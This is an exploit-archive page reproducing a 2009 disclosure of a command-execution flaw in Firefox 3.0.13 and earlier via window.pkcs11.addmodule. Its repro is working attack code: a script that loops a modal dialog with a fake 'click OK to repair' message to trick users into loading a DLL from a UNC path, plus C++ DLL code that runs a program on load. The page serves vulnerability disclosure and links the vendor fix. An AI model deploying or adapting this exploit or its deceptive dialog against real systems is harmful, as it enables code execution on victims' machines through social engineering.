what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mozilla Firefox Remote Command Execution

Mozilla Firefox Remote Command Execution
Posted Sep 11, 2009
Authored by Dan Kaminsky | Site doxpara.com

Mozilla Firefox versions up through 3.0.13 suffer from an arbitrary command execution vulnerability due to the pkcs11.addmodule function.

tags | exploit, arbitrary
SHA-256 | d27911cb4945b160c3febbb8a671498c09e9a56d2ba6f7c5749ad00881cf8fd4

Mozilla Firefox Remote Command Execution

Change Mirror Download
Fix announce:
https://www.mozilla.org/security/announce/2009/mfsa2009-48.html
Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628

So, Firefox up through 3.0.13 had an obscure little function under
window.pkcs11:

long addmodule(in DOMString moduleName,
in DOMString libraryFullPath,
in long cryptoMechanismFlags,
in long cipherFlags);

Yes, that's actually the full path to a DLL -- or an .so on Linux/OSX --
from a JS function that's exposed to the web.

Attacker doesn't get zero click install -- there's a dialog -- but:

1) Attacker does get to customize the dialog via moduleName
2) The dialog is modal, so the user doesn't get access to Firefox again
until they hit OK (can't even close Firefox)
3) On Windows, he can put a UNC path in for the Library path. There's
probably similar on OSX and some Linux distros. Even without, there's
usually a way to get a file in a known location -- see John Heasman's Java
work.

LoadLibrary of Attacker library on OK.

Repro:

<body>
<script>

var str = "Error detected in Firefox Module NSP31337.bin.\n" +
"Please click 'OK' to repair."

ret=-2;
while(ret!=-5){
ret=window.pkcs11.addmodule("\n\n\n" + str + "\n\n\n",
"\\\\127.0.0.1\\c$\\
pkunkcs", 0, 0);
}

</script>

"Shellcode" is just a DLL with ShellExecute in the constructor:

CpkunkcsApp::CpkunkcsApp()
{

char *str = "c:\\windows\\system32\\calc.exe";
wchar_t *wText;
size_t len;

len = strlen(str)+1;

wText = new wchar_t[strlen(str)];
memset(wText, 0, len * sizeof(wchar_t));

::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);

ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);

}

Cheers to Jesse Ruderman, who recognized this was probably not the greatest
of API's some time ago. The bug history is worth taking a look at...goes
back a while. They missed the UNC path vector, and appear to have
underestimated the modal dialog.
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close